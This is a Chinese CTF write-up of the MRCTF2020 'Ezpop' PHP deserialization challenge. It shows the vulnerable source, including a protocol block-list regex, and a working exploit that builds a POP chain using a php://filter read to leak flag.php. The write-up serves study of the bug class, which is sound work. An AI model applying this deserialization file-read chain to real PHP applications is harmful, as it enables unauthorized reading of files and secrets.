WP | [MRCTF2020]Ezpop
2024-09-05 18:21:17
2020.10.14
最近开始努力提高代码能力
题目代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
分析pop链
从目标逆向分析触发条件
结论
根据以上分析,可以得出我们要构造一个Show类,这个类中的属性source也是一个show类,source下的属性str是一个Test类,且Test类中的p是一个Modifier类
exp
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source=$file;
}
}
class Test{
public $p;
public function __construct(){
$this->p=new Modifier();
}
}
$s=new Show("");
$s->str=new Test();
$a=new Show($s);
echo urlencode(serialize($a));//为了便于在url中传输,我们将结果编码成url形式
base64解码后
依然存在的疑问
exp中的类是对比好几个师傅的wp试出来的,但是为什么要把str=new Test()放在show类中source下,为什么source属性依然要是show类不是很清楚
最新文章
- java 在循环中删除数组元素
- 学习微信小程序之css2
- salesforce 零基础开发入门学习(八)数据分页简单制作
- 从Paxos到ZooKeeper-三、ZooKeeper的典型应用场景
- Mac 系统下将普通文件变为可执行文件
- [转载]word尾注插入参考文献——前人经验+自己总结
- 数组去重算法,quickSort
- [总结] Stack: Java V.S. C++
- English - 英文写作中的最常见“十大句式”
- SQL Server Log文件对磁盘的写操作大小是多少
- Openjudge-计算概论(A)-完美立方
- 一步一步学Vue(二)
- IO流大总结
- bootstrap学习1
- day 47 htm-part2
- CentOS7配置samba服务
- 蚂蚁金服首席数据科学家漆远:AI技术开放,与业界融合共创
- new int
- Elasticsearch的数据导出和导入操作(elasticdump工具),以及删除指定type的数据(delete-by-query插件)
- 在windows上通过ssh远程链接linux服务器[转]